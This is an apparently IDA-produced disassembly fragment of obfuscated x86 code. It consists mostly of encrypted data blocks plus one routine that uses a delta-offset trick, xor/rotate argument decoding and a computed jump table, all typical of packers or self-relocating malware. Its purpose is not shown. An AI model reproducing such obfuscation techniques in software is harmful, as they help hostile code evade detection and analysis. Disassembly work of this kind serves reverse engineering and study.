		dd 1D0424h, 56460000h, 196715C3h, 97B09758h, 2BD3A4D8h
		dd 1300D9BDh, 8995FF06h, 6A06131Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 52F9C356h
		dd 0F8CAF5E2h, 95FF006Ah, 6130DA9h, 0FEBC08Bh, 9EE0E601h
		dd 5EDD9155h, 1C31091h,	0E814031Bh, 0Ch, 0F70B07Ah, 5C080F9Ch
		dd 15E54DAFh, 2B58D38Bh, 131D1995h, 44C08106h, 9000072h
		dd 13059DBDh, 6806h, 0E2BA0000h, 5B7445B6h, 34FFD68Bh
		dd 2860F03h, 8B000000h,	0C68159FAh, 7CED85B0h, 6F8FE981h
		dd 83BE1E34h, 816E256Eh, 0DEE660C1h, 4FC2803Fh,	87DEF181h
		dd 5E92BA4h, 0E6000000h, 3F103D61h, 0F180C89h, 8D29D0B7h
		dd 613050Dh, 8104EB83h,	0FF8E48FBh, 0AF850FFFh,	0E9FFFFFFh
		dd 0Ch,	0EA998701h, 0E4D9DE77h,	4AEECC25h, 23E9h, 87417500h
		dd 0Dh,	7 dup(0)
		dd 4D1E9h, 4C0A5800h, 54FA4C6Eh, 4A005476h, 5BF5466Ch
		dd 4C08557Bh, 9BF03F6Eh, 82A8064Eh, 0A0822032h,	0BB9D3D0Bh
		dd 0B784222Ah, 0C1E96598h, 5FB216B7h, 1D6CBD03h, 1372C38Fh
		dd 52DFE372h, 2B7EA402h, 9B2E1021h, 8EEF59EEh, 0DA150631h
		dd 31F8A1FBh, 0C41638A7h, 0EA28BB8Ah, 7E10A151h, 9E98930Fh
		dd 58395C10h, 7F03587Ah, 435C5E3h, 70E5C2F1h, 109DD116h
		dd 0FFDFBEDFh, 73C286D9h, 51014Fh, 7929A2CCh, 5E4462E6h
		dd 193ABBCBh, 8FF643C6h, 0AF2E5FEEh, 28109E4Fh,	446611AAh
		dd 34B9BF4h, 32025A62h,	0D4A34171h, 37CDCDEBh, 1CA4553Ah
		dd 7305h, 0D1F9D600h, 449ECF83h, 0D109E3Dh, 89D874C5h
		dd 13426908h, 0C159F1CBh, 0C2F9636Dh, 6CFD4BE0h, 20B1A32Dh
		dd 70EC1D2Ch, 0E5109DB5h, 0E8A8D465h, 8AA341EAh, 198C03A5h
		dd 13DD0FF9h, 18Ch, 6DBDB200h, 0AEBF891Eh, 568AB6A9h, 0DDBC2212h
		dd 19A9ADBCh, 888146Fh,	0C7EC5AE6h, 0A0A9C867h,	0F64726D3h
		dd 7CCD83D4h, 6012A7EBh, 2280CEh, 0A13F9FADh, 55E470BDh
		dd 0DC6DE171h, 731F9C36h, 6A506EE6h, 2B1DB2D7h,	3D9AFB1Ah
		dd 0B56FEB1Ah, 0D538109Dh, 0E67A5C0Bh, 0F5684764h, 109DB499h
		dd 4A992362h, 0E2133423h, 109DB568h, 0B5992931h, 0C86F7D4h
		dd 0D5109DB5h, 6DDE28B0h, 41E8613Fh, 4FC9A3h, 0BD6D0000h
		dd 0F9902170h, 0B584E569h, 22243554h, 3B1FBC8Eh, 7594A5ADh
		dd 276BFC6Bh, 351E092h,	10A082A3h, 9587A42h, 87D8FA4Bh
		dd 0CA9BB506h, 521B2A4Bh, 4B1943B8h, 0F3A341E8h, 2Dh, 0E470BD47h
		dd 6ADE7155h, 61DAF8DBh, 923024B1h, 4DE0C238h, 53E3F5FFh
		dd 0BA1B6AFBh, 33109DB4h, 3AFA2297h, 0A2A341EAh, 1, 0CADDC2B8h
		dd 0A9AB529Bh, 15D902Fh, 0CA109DD8h, 0FD4F814Bh, 87DAFC4Dh
		dd 2E6074C5h, 0F753E59Dh, 221EEFD8h, 0A3013FF2h, 0E6FB3B19h
		dd 32403A0h, 9DD178D2h,	3117AC10h, 0AAD9E322h, 168ECDBBh
		dd 3618296Ch, 250AA9A3h, 520A0912h, 1E3C84C4h, 4A3A93Ch
		dd 3E58B223h, 0FC210A8Bh, 880475F4h, 0C10A8B3Dh, 0B08F38D1h
		dd 4514368Ah, 3E3995C4h, 83020A8Bh, 0C0C61739h,	361B52E9h
		dd 0E9C9A817h, 0C61376C7h, 7C5EEF8Eh, 0F0D263E9h, 7B5FEE5Ch
		dd 0EBD061E9h, 6E29A8DFh, 2E607499h, 0C842A89Dh, 582E7F33h
		dd 946D79ABh, 84234240h, 9A6D6E9Bh, 767E734Ch, 470CCC68h
		dd 0FAB45AACh, 8A000000h, 0B205BEA3h, 0A5D8F796h, 168EBC40h
		dd 0A1A5B4D9h, 0BB9F3C10h, 0B9972129h, 0A9064697h, 9764817Eh
		dd 0C60E04C4h, 0BA922327h, 0D465E3ABh, 0E1C18B1Eh, 0AD728B49h
		dd 57335Ah, 0A3070000h,	74E9C6BCh, 6F624BFAh, 1B6EBF03h
		dd 80E180C8h, 0B2230423h, 909DB558h, 118DFC21h,	0DA909DB5h
		dd 43B231BBh, 909DB4C7h, 53E26AFBh, 0E372E26Fh,	291CAD1Bh
		dd 0D8A01953h, 0EED4F38Fh, 2465F45Eh, 0B44EBF9Ch, 2DEF624Bh
		dd 4E96B205h, 835E7CA1h, 69h, 0C8BEA3DFh, 3D99CCEBh, 6109DB5h
		dd 0BC942387h, 77646CADh, 8EA0FB06h, 90A1E416h,	0D96E1BAEh
		dd 8AB00E6Fh, 0B5441537h, 0A8AA052h, 0D88AFF93h, 0A7E7C785h
		dd 9EB201C2h, 902F4ECFh, 74A46E5Dh, 79ECCB10h, 470921Dh
		dd 6581E1E6h, 4F3CA8Fh,	8F0E5B65h, 3499CBEh, 57F41E32h
		dd 912E5891h, 5A236F5Ch, 99395C0Ah, 0C8BEA33Fh,	0BA8D7AEBh
		dd 1B7A1687h, 97B5084Ah, 91C31238h, 96270947h, 882E19B6h
		dd 1F2F7F2Dh, 0E8CF4Eh,	6FFEC6E0h, 0E624441Eh, 0F0890914h
		dd 7E5DEF42h, 0F6470D5Ch, 0ADA53397h, 32183523h, 2628B0A2h
		dd 0A6A8B993h, 362A3B15h, 42933FBCh, 3386AC0Ah,	140D4819h
		dd 0B1000000h, 0FD4BE0C2h, 6FA32D6Ch, 7ED80D2Ah, 47109DB5h
		dd 0BD64FEC6h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h
		dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh,	2215242Ah
		dd 81595451h, 4C1h, 4E98300h, 5C240C87h, 81E38953h, 4C3h
		dd 4EB8300h, 5C241C87h,	68241C89h, 23h,	52243C89h, 171263BAh
		dd 81D2F700h, 65726AC2h, 0DEB85055h, 2D7EFD6Dh,	227F7F61h
		dd 7A135425h, 2E0C131h,	4002E8C1h, 95CEF42Dh, 58C23194h
		dd 0FDF2814Ah, 8928B65Eh, 8B545AD3h, 0C483243Ch, 8685004h
		dd 58000000h, 1889F801h, 243C8B58h, 81E28952h, 4C2h, 4C28100h
		dd 87000000h, 0FF5C2414h, 835B2434h, 1E904C4h, 0A2FFF96Fh
		dd 730097A8h, 7783EDB6h, 0CAB84701h, 3061A11h, 38E0FFC5h
		dd 6111AA99h, 0DF08F880h, 0B71B3D63h, 251AA5C1h, 0BD19A9DBh
		dd 0DE111335h, 701FB8Eh, 0FE478414h, 552A9810h,	0F1707026h
		dd 7A61CAE9h, 6A462616h, 9B17F00Dh, 2FE7ACh, 5778112Ah
		dd 83256F6Eh, 0A15C005Dh, 1946F443h, 20C9765h, 4109AFE6h
		dd 0CD3EA6BEh, 882FB991h, 3D50BE08h, 0F14146ECh, 0D20E9621h
		dd 9853CCBEh, 4132BDF7h, 8B187740h, 1E7EF7D7h, 581E06E4h
		dd 8D435F8Bh, 1A13628Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 817369D3h, 0C85424CBh
		dd 89D58A46h, 131BBD8Dh, 0C1B9BF06h, 3CB015CBh,	18DD85C7h
		dd 5AAC0613h, 0BD890000h, 6131E55h, 305585C7h, 613h, 9D890000h
		dd 61305B5h, 2331B5FFh,	0FDB00613h, 1D8995FFh, 8B660613h
		dd 0FF006AF1h, 130DA995h, 0EBC08B06h, 7951407Eh, 97E0B5F8h
		dd 6220F408h, 905B895Ch, 0F6B98F1Ch, 28029682h,	0E46D4825h
		dd 93F72E69h, 6597B388h, 0C6439E66h, 0A2610537h, 8C6E94BBh
		dd 3AF40AC6h, 48F13338h, 0A4B75839h, 83402F90h,	3AA5E898h
		dd 0ACC090EFh, 0E2E6E384h, 0EA585681h, 0D8C1B440h, 0FB724F1Eh
		dd 0C2B7B6EDh, 0C5D1F2F4h, 0EC9BD655h, 21B27C78h, 0D9ED04E8h
		dd 0C6393E89h, 0B58EDDDh, 0F18BF256h, 7184CA50h, 8DC93409h
		dd 1A14548Dh, 7DCE8106h, 0F21C50Fh, 68Fh, 8DB58B00h, 8906130Ah
		dd 131BBD8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 85C7C43Ch, 61318DDh, 6C20h, 5585C7F8h
		dd 61330h, 66000000h, 0B5FFF38Bh, 6132831h, 2BED8D89h
		dd 95FF0613h, 6131D89h,	6AF18B66h, 0A995FF00h, 8B06130Dh
		dd 1B2FEBC0h, 8A922084h, 8ECECD57h, 0C0AD5DF1h,	619A42E3h
		dd 22069AA9h, 0AD66B2ABh, 1795F45Bh, 0B222656h,	0FBE2D070h
		dd 0A20D7DFDh, 3B5748EFh, 8D8DE7DAh, 61A154Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 60C35343h, 288822A5h
		dd 0FA8B6660h, 13E9h, 644A4E00h, 0C1A087E2h, 3B6910Ch
		dd 0FFA06581h, 3A2D71E0h, 0BD8D8961h, 6A06131Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 32B8C357h, 914A1D17h, 0A8BC0BB8h, 0DD85C777h, 5C061318h
		dd 8100006Bh, 97E498CEh, 5585C766h, 61330h, 81000000h
		dd 23926BF0h, 5DB5FF6Ch, 0FF061312h, 131D8995h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 895278FCh, 13351D9Dh, 6A5F06h, 0DA995FFh, 0C08B0613h
		dd 75FF08EBh, 867D4C74h, 7E8FCB1h, 0B9000000h, 5D62D3h
		dd 0E7812AF9h, 78053F0Ah, 81FE8B5Eh, 752FC6h, 0BBCF8B00h
		dd 0
		dd 0CA33E981h, 148B28ADh, 26E5801Eh, 6C8AC281h,	0BD892435h
		dd 6130A0Dh, 35A2F281h,	8D014477h, 61309DDh, 4996F281h
		dd 0BF0F69BDh, 0B58952CAh, 6130AF1h, 0F1E048Fh,	858BC9B7h
		dd 6130B61h, 8004EB83h,	0FB8179E4h, 0FFFF8B3Ch,	0FFB4850Fh
		dd 8D8DFFFFh, 61A16D3h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0ACC35141h, 0B70FA3D8h, 0BD8D89C6h, 6A06131Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 5B4FC356h, 8D89C0AEh, 6131CD9h, 18DD85C7h
		dd 71CC0613h, 858B0000h, 613176Dh, 305585C7h, 613h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0BBA041C3h, 0AEB28392h, 0BD896039h, 61308C5h, 0A419D89h
		dd 89610613h, 1314E19Dh, 9B5FF06h, 6A061323h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0D15EC357h, 57B10B9h, 6D8F10EDh, 63EEEB81h, 95FF18F6h
		dd 6131D89h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	9DC35646h, 1EC58D29h, 6A0613h, 0DA995FFh, 0C08B0613h
		dd 56273FEBh, 81C7AAB6h, 0B95A5241h, 0AD5B68Bh,	8F7BA2A1h
		dd 97073D2Eh, 6A53A0A9h, 1A98357Ah, 9A5FECD0h, 84BB3DCh
		dd 24AFDDA8h, 6539EF19h, 4B1770A8h, 954C8C3Ch, 0DDD9593Fh
		dd 1E8FEB96h, 0E185C6F4h, 56061311h, 0C530DF68h, 0E9B5FFA9h
		dd 8D06131Eh, 167C3385h, 8DD0FF06h, 131A398Dh, 406A5106h
		dd 0D55B5FFh, 0B5FF0613h, 6130B5Dh, 0B5FFD0FFh,	6130D55h
		dd 0B5DB5FFh, 0CE80613h, 1E000000h, 0A81717DCh,	0A0572732h
		dd 5AC7DFF1h, 4EA835Ah,	2242CC1h, 22424C1h, 0F7241403h
		dd 68241Ch, 5F000000h, 813A0C8Bh, 0A0EA1CE9h, 4CF1817Fh
		dd 81103741h, 0B9805C1h, 48F5168h, 0F6EF813Ah, 812D3C26h
		dd 3C26F2C7h, 243C3B2Dh, 14850Fh, 19E90000h, 7E000000h
		dd 888B8BFCh, 0BE41B53Bh, 0CDC6D70h, 0B9E96922h, 19FFFFFFh
		dd 62714FF3h, 2A2D9D8Dh, 38B0613h, 840FC00Bh, 7, 5B8B038Bh
		dd 8B188904h, 15FE9C9h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5EDAB2	proc near		; CODE XREF: sub_406890+12Bp
					; sub_409BC0+1Cp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61A17F1h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5EDC08
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 1E330B14h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+6131BBDh],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0B81EC512h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+61318DDh],	eax
		mov	eax, [edx+14h]
		mov	[ebp+6133055h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5EDBCC
; ---------------------------------------------------------------------------
		dd 13D1B5FFh, 0B9E90613h, 0FF000000h, 131A95B5h, 0AEE906h
		dd 0B5FF0000h, 6132831h, 0A3E9h, 5DB5FF00h, 0E9061300h
		dd 98h,	302DB5FFh, 8DE90613h, 0FF000000h, 1331EDB5h, 82E906h
		dd 0B5FF0000h, 613125Dh, 77E9h,	65B5FF00h, 0E906131Bh
		dd 6Ch,	1139B5FFh, 61E90613h, 0FF000000h, 130ED5B5h, 56E906h
		dd 0B5FF0000h, 6130B01h, 4BE9h,	1B5FF00h, 0E9061321h, 40h
		dd 2CA1B5FFh, 35E90613h, 0FF000000h, 1320B9B5h,	2AE906h
		dd 0B5FF0000h, 6132309h, 1FE9h,	31B5FF00h, 0E9061323h
		dd 14h
; ---------------------------------------------------------------------------


loc_5EDBCC:				; CODE XREF: sub_5EDAB2+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+61A1852h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------
		dd 1D8995FFh, 8B5B0613h, 131BBD85h, 4583906h, 0F850Fh
		dd 6A530000h, 0A995FF01h, 5B06130Dh, 0FFFFE2E9h, 0C35A61FFh
; ---------------------------------------------------------------------------


loc_5EDC08:				; CODE XREF: sub_5EDAB2+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5EDAB2	endp

; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(85h)
		dd 8D061311h, 1A19408Dh, 1418906h, 0CE8C38Bh, 31000000h
		dd 4A6A4362h, 0B4F56CF8h, 812FA464h, 66EE8AEEh,	850F5A3Ch
		dd 2, 0C281D98Bh, 736Eh, 1C98B9h, 7E800h, 26E0000h, 0DC47DD90h
		dd 0EE8EEh, 69730000h, 922452D3h, 38EEEA06h, 4882A807h
		dd 12E9h, 212B4D00h, 0D76D4DA7h, 7CE4EA94h, 0BA0BFCFEh
		dd 5F3A4243h, 8B028B5Fh, 93C081DEh, 66519778h, 0C081D88Bh
		dd 49029B89h, 1420C081h, 51601C5Ch, 58D0B70Fh, 14E9h, 6FE9D500h
		dd 0EB614CD8h, 0D357D0h, 7A594E5Fh, 0D3C22402h,	8B5061DDh
		dd 81028FF0h, 3C1749EAh, 14E866h, 0F18C0000h, 0D4F58C13h
		dd 5EA12E2Bh, 0D2C0368Dh, 0F75879F1h, 0DA8AD58Dh, 45C2815Bh
		dd 0F663C17h, 681h, 0AEDE8100h,	814057D1h, 1E9h, 1A850F00h
		dd 0BB000000h, 48B125D5h, 2CE9h, 0F4D1F300h, 9F10DD5Bh
		dd 424665B7h, 4761105Fh, 0BE950h, 7B800000h, 0B31F8315h
		dd 4576401Ch, 0FF53E982h, 0EC67FFFFh, 9D39F7A4h, 0D6E9DDh
		dd 72980000h, 9CD744D7h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 7	dup(0)
		dd 14FEE9h, 1CF56800h, 9E9061Ah, 68FFF966h, 61A1DE1h, 0F965FFE9h
		dd 1EE568FFh, 0F5E9061Ah, 68FFF965h, 61A2004h, 0F965EBE9h
		dd 20A068FFh, 0E1E9061Ah, 68FFF965h, 61A215Eh, 0F965D7E9h
		dd 221F68FFh, 0CDE9061Ah, 68FFF965h, 61A22D2h, 0F965C3E9h
		dd 237668FFh, 0B9E9061Ah, 68FFF965h, 61A24CFh, 0F965AFE9h
		dd 25A568FFh, 0A5E9061Ah, 68FFF965h, 61A26D4h, 0F9659BE9h
		dd 27DA68FFh, 91E9061Ah, 68FFF965h, 61A295Dh, 0F96587E9h
		dd 2A9968FFh, 7DE9061Ah, 68FFF965h, 61A2CC1h, 0F96573E9h
		dd 2DB168FFh, 69E9061Ah, 0B6FFF965h, 0AA902E28h, 0B2983618h
		dd 0AC8E2C1Eh, 0B395351Bh, 9D902E26h, 68EC7992h, 7AD8684Ah
		dd 67E1765Ch, 7CD06147h, 1B4A955Eh, 16B7CFBFh, 0BD2D1188h
		dd 6D51E06Ch, 565270DCh, 295C7B0Bh, 168EA2CCh, 0D0213055h
		dd 0A8A9F72h, 0A0CC3DC9h, 5AAD0CD0h, 3C78h, 0E0C2DE00h
		dd 33A2014Fh, 109DB4D7h, 47737DA0h, 16476422h, 168E9837h
		dd 45B48508h, 0A8A87C5h, 0ED203F1Ch, 0A8A8871h,	7711DB3Ah
		dd 0DF6D5502h, 23F16973h, 8B5AAD39h, 0B5h, 0E06CBDAFh
		dd 74E06D51h, 0FC50E1E5h, 1B69FBDFh, 6C4F14C5h,	0BD0766BAh
		dd 0F0992C2Eh, 2E8CED5Bh, 9E9749BFh, 2C20B110h,	3319AC8Eh
		dd 0C842B394h, 91109E95h, 725C40Ch, 0D607A4E2h,	168F9BF3h
		dd 8925133Ch, 153DBDDFh, 0DFFF1ECBh, 0DFFC8ADFh, 7601ABAEh
		dd 0A2018410h, 83233180h, 1144109Dh, 79FD0B2Fh,	98B89554h
		dd 0B2000012h, 0AE943224h, 0AE94321Ch, 0B092301Ah, 0AF91311Fh
		dd 0A1943222h, 84D05D8Eh, 9EB40426h, 83C51A40h,	0A0ACFD23h
		dd 0E7163902h, 16B7D16Bh, 0C281DD34h, 0B51670E5h, 0BEDF109Dh
		dd 0F9952436h, 0D7817883h, 4C6A0BF3h, 5979D366h, 0C8BEA3FFh
		dd 989B7AEBh, 0F6DC168Eh, 86E3ED67h, 47C73607h,	9E0A8A89h
		dd 0F36F9EC1h, 0BC0A8A88h, 84F58F59h, 0AD3E9858h, 0B5405Ah
		dd 0BD160000h, 0C18D1D6Ch, 8F1F03A0h, 656FAEBFh, 0DF75C406h
		dd 0B089FF8Eh, 60F1109Dh, 59ECCEECh, 3D6562F3h,	0FC3A61EDh
		dd 5C1A082Ch, 0A5BCF8C0h, 0AE93C2E1h, 87168E6Bh, 517EA906h
		dd 458CC7A1h, 6F508E56h, 89118748h, 0A62E7CA8h,	98374F9Ah
		dd 1D2C1EB2h, 76E7F4FCh, 10742384h, 97BB187Dh, 85AD0A4Ah
		dd 90CE1632h, 44391BAAh, 79FB3B66h, 0AC95B077h,	9E000011h
		dd 42684610h, 5A805EF0h, 44664406h, 5B7D5DF3h, 3568460Eh
		dd 104491FAh, 124090B2h, 0F398EB4h, 143889AFh, 33A2ADB6h
		dd 16B7D1D7h, 0BDD589A0h, 0E3C7E470h, 2869F850h, 3D90B2A0h
		dd 0BD11AF0Fh, 7251E06Ch, 0B4A62055h, 6B6F109Dh, 0CC1475DDh
		dd 7057378Ah, 5B14DE04h, 900A7B29h, 59109DD7h, 0DA6BDF71h
		dd 1BBBDABBh, 74E9A335h, 109DD81Ah, 0FC4CDFE3h,	694D2C6Dh
		dd 0BA1978DCh, 0FA474898h, 0EB8A0B5Ah, 5D4582E1h, 63757FCBh
		dd 725C7AD2h, 65214861h, 0FD3E6946h, 0BBA313EDh, 0CB6A9923h
		dd 0DC168EBAh, 56B756B9h, 78E10489h, 47B61571h,	18F17DAAh
		dd 6D118CB3h, 5553C6FBh, 4B2A4B07h, 20A3BEFAh, 1372C391h
		dd 0D3205572h, 0B012DB11h, 151398Ah, 94890F9Ah,	0F0112041h
		dd 0BD1A7BE8h, 0D924B59Ah, 3B418BDCh, 3E0E9FB1h, 489BBFA0h
		dd 8D03100h, 0A4D973C6h, 7C5DA090h, 0A8431ECDh,	0A2000010h
		dd 3E644214h, 5E4462ECh, 2280CAh, 1F01A1AFh, 0B1E4C292h
		dd 94C00D7Eh, 8EC41436h, 93B50A30h, 90BC0D33h, 0B7262932h
		dd 16B7D35Bh, 0BD51ED24h, 5351E06Ch, 745B780Eh,	6C24A1ECh
		dd 75626A49h, 8F68F900h, 1BBBDA16h, 0E3C0C61Bh,	7C526772h
		dd 3C0D9010h, 78524DCDh, 0D16AA404h, 9B77EDABh,	3C5550h
		dd 0A3E90000h, 0CCEBC8BEh, 814287E3h, 0B903B9CFh, 8F8E574Ah
		dd 2E8D1016h, 3191B70Ch, 8AF846C2h, 212B7E0Ah, 3C0C9F81h
		dd 0BC0C2E2Dh, 10134E96h, 2C000010h, 0F880DA0Bh, 0C4490A8Ah
		dd 0E0C262FCh, 0CAF6FE4Ch, 95C8E79Fh, 1687B056h, 85017453h
		dd 4E0A8399h, 256805CFh, 3B11A486h, 2824B59Bh, 0E81D3A19h
		dd 0A83996Eh, 0B20ED637h, 0CFF0CFB7h, 62F35BEBh, 0F5518423h
		dd 0BE0A8398h, 10F6955Fh, 0F1106D93h, 9A2B0FACh, 9B2E14B2h
		dd 9B3012B1h, 737D9CADh, 0D5B1B8F4h, 5E4A87F6h,	1F030A5Ah
		dd 1170C191h, 99351AC7h, 0E7546F79h, 687AEF8Eh,	9173DD7Bh
		dd 0F89FFDAh, 75C10000h, 4FDFC1E1h, 67F9DFFFh, 4EDDC3E3h
		dd 2F7EA402h, 99968525h, 4F6FE574h, 5777DB69h, 4C6ADE71h
		dd 5979D366h, 0C41E4F90h, 8D16B7D4h, 12702A14h,	53109DB5h
		dd 4E70E06Fh, 308C54FEh, 14368A39h, 0E5745675h,	578656Fh
		dd 1687AE05h, 3218B7D6h, 300DAD9Fh, 9A84DE0Fh, 0C84D0A83h
		dd 0D17BCE00h, 8B3D2480h, 839A005Ah, 4AC4390Ah,	130A839Ah
		dd 0CB5D65F2h, 607F1E7Fh, 748B242Dh, 23527510h,	47087A7h
		dd 3B892D70h, 0FDC74617h, 30382D70h, 4579F7A4h,	0EEDABA6h
		dd 0D15D0000h, 0B3032585h, 0C3153B9Bh, 0B2012787h, 0CB1A409Eh
		dd 35FA2989h, 0EBCB89D8h, 0FBDB77C5h, 0E8C682D5h, 0FDDD6FC2h
		dd 207AEBF4h, 0E916B7D5h, 6CBD8EB0h, 4EDFC3E0h,	5377F6FEh
		dd 14FB4A02h, 19D70576h, 0FBA341E6h, 0A7B76DD4h, 0AC340BAAh
		dd 8F275h, 0E0C2C900h, 0C9F5FF4Dh, 94C9E6A0h, 1687AEC1h
		dd 0F4C9C5EAh, 86DC4C3Fh, 4F6CB13Eh, 6A72DA6Bh,	9AF4456Dh
		dd 8365EF6Bh, 3455B80Ah, 2B21B496h, 3711A68Ch, 8EDDE726h
		dd 164F6651h, 4CEC8EB5h, 0A8850584h, 0C2A70A83h, 8F76E7C4h
		dd 7010749Ah, 97A4FE6Fh, 56D50470h, 0F1F6AE80h,	630283D0h
		dd 0F76FC8EEh, 67620979h, 0E2Fh, 2787CF1Bh, 3D9DB101h
		dd 2181C91Bh, 2A0B0FFh,	0E3C39120h, 0BF0E7FB0h,	0C5133595h
		dd 0B80B2D8Dh, 0BD103290h, 3D222F8Fh, 0B7D64EC8h, 60021716h
		dd 51E06CBDh, 0E170DC6Dh, 87D5FD1Ah, 0B71B7ACBh, 0F4152424h
		dd 329A2ECh, 0A341E635h, 8369Dh, 3E213E00h, 9DBD53CFh
		dd 88F91C10h, 109DBD0Eh, 0B42EB6D7h, 9DB51270h,	592D3410h
		dd 0E5755D7Ah, 2FB9D869h, 87AF3DD0h, 0B8177616h, 0FB4A3F92h
		dd 0E8890859h, 76C5EDCAh, 6DC012DAh, 3CD700DFh,	0CBEBE0CDh
		dd 0E0D8381Dh, 83E2E1ECh, 0DBE8311Ch, 0E4EC42DAh, 44422785h
		dd 0D1624867h, 2F16757Fh, 10107470h, 89A4D88Dh,	1AD179F7h
		dd 0D6E3Fh, 0C88EDC00h,	0D876C8EAh, 0C684D8FAh,	0DF71C2E8h
		dd 0C88CD9FFh, 1774BBEAh, 62C8ACAh, 1C3E9CB6h, 0FF2181C7h
		dd 33409EAEh, 0D75DB92Ch, 0F32616B7h, 0E06CBD4Fh, 0AADC6D51h
		dd 8FF58B27h, 1B2A4BEFh, 3765D674h, 0A3411779h,	0A5A5371Bh
		dd 775041Bh, 0A35A0000h, 7AEBC8BEh, 1687AEFEh, 52D8A0Bh
		dd 173B98B4h, 99B687C7h, 8399EA64h, 3352B30Ah, 3485ABA9h
		dd 2B4A0655h, 9A6BEB1Ah, 83AC0A83h, 0BAA31369h,	68D41C95h
		dd 0BC164781h, 0ED0A833Bh, 0CDE3EF1Dh, 0DF3E0DB8h, 0E5EC21BEh
		dd 3610743Eh, 0BA8BC114h, 0B1D4915Bh, 0F758AABCh, 2924C379h
		dd 0CBBh, 0B313438Fh, 0B1113D8Dh, 0AD0D3D8Fh, 0B6143C8Bh
		dd 0AF0F4594h, 0B5AB37Ch, 0F9476949h, 4577959h,	0F1446644h
		dd 716E7B5Bh, 0B7D6A2FCh, 0C366B16h, 51E06CBDh,	0E170DC6Dh
		dd 31004CDDh, 607CB40Ah, 983A37A4h, 0A6390846h,	9323CF6Ch
		dd 0A6BAABBh, 23D465E5h, 69D09FFCh, 8A52FA8Ch, 41F402D2h
		dd 6ADAAA3h, 70900000h,	109DB515h, 6F4C3A2Fh, 87AE5DFEh
		dd 0D0052216h
		dd 0A839A76h, 84CC1B3Fh, 0F8EDBE5h, 15378AB0h, 0A4293B5h
		dd 0A2E4FD3Bh, 9575D005h, 0DF3E1074h, 0F79B8AAAh, 0FDD88F79h
		dd 0C17h, 0FAFA733h, 15B59929h,	9A9A133h, 1AB89827h, 0BABA938h
		dd 67F61718h, 5DEBCDEDh, 60F3D5F5h, 55E8CAE8h, 0C50AD7F7h
		dd 0B7D83690h, 0B8AAFF16h, 351E0C2h, 62EFD332h,	9A2263F2h
		dd 466925B8h, 9DB4BB17h, 50018410h, 109DB4F6h, 2E3F5EBFh
		dd 0A2B3992Ch, 2ADD6EDCh, 519BB908h, 409EAEFFh,	41EAD4A4h
		dd 13B7CA3h, 785F0000h,	3F5FEABDh, 0CC82D4E2h, 0C2B923ADh
		dd 13424EE0h, 109DB4B7h, 0ED7C1D80h, 9F3224ACh,	27BA9CADh
		dd 87A88525h, 9DB4FC56h, 7840C510h, 4261253Ch, 8EA2D613h
		dd 2F3E5F16h, 8A9F80DEh, 0A788D70Ah, 8A9EDC36h,	5860A50Ah
		dd 0A16F9D2Eh, 95AAD0Ch, 33h, 553688AAh, 97F64703h, 0A374EEF6h
		dd 0CCEBC8BEh, 3E85C2E3h, 34BC0422h, 8EF1F4D5h,	0F140C516h
		dd 8AE20280h, 9C2D590Ah, 0ACC7A070h, 0A0085Ah, 0BD2E0000h
		dd 0DFC3E06Ch, 6B6FFE4Eh, 0A1E071D9h, 6A69F8C0h, 2438EC45h
		dd 747C615Eh, 0B081D362h, 40113B8Eh, 2A1ABFEh, 71C08E20h
		dd 5B8AC810h, 109DCEF5h, 4360EC3Dh, 0B8124364h,	81109DB7h
		dd 0B7F16D1Ch, 5BBA109Dh, 1E434391h, 0A61A4B68h, 0A3168815h
		dd 0D05D4562h, 0B5042684h, 2D94EA9Fh, 26C5800Fh, 0ABE2Bh
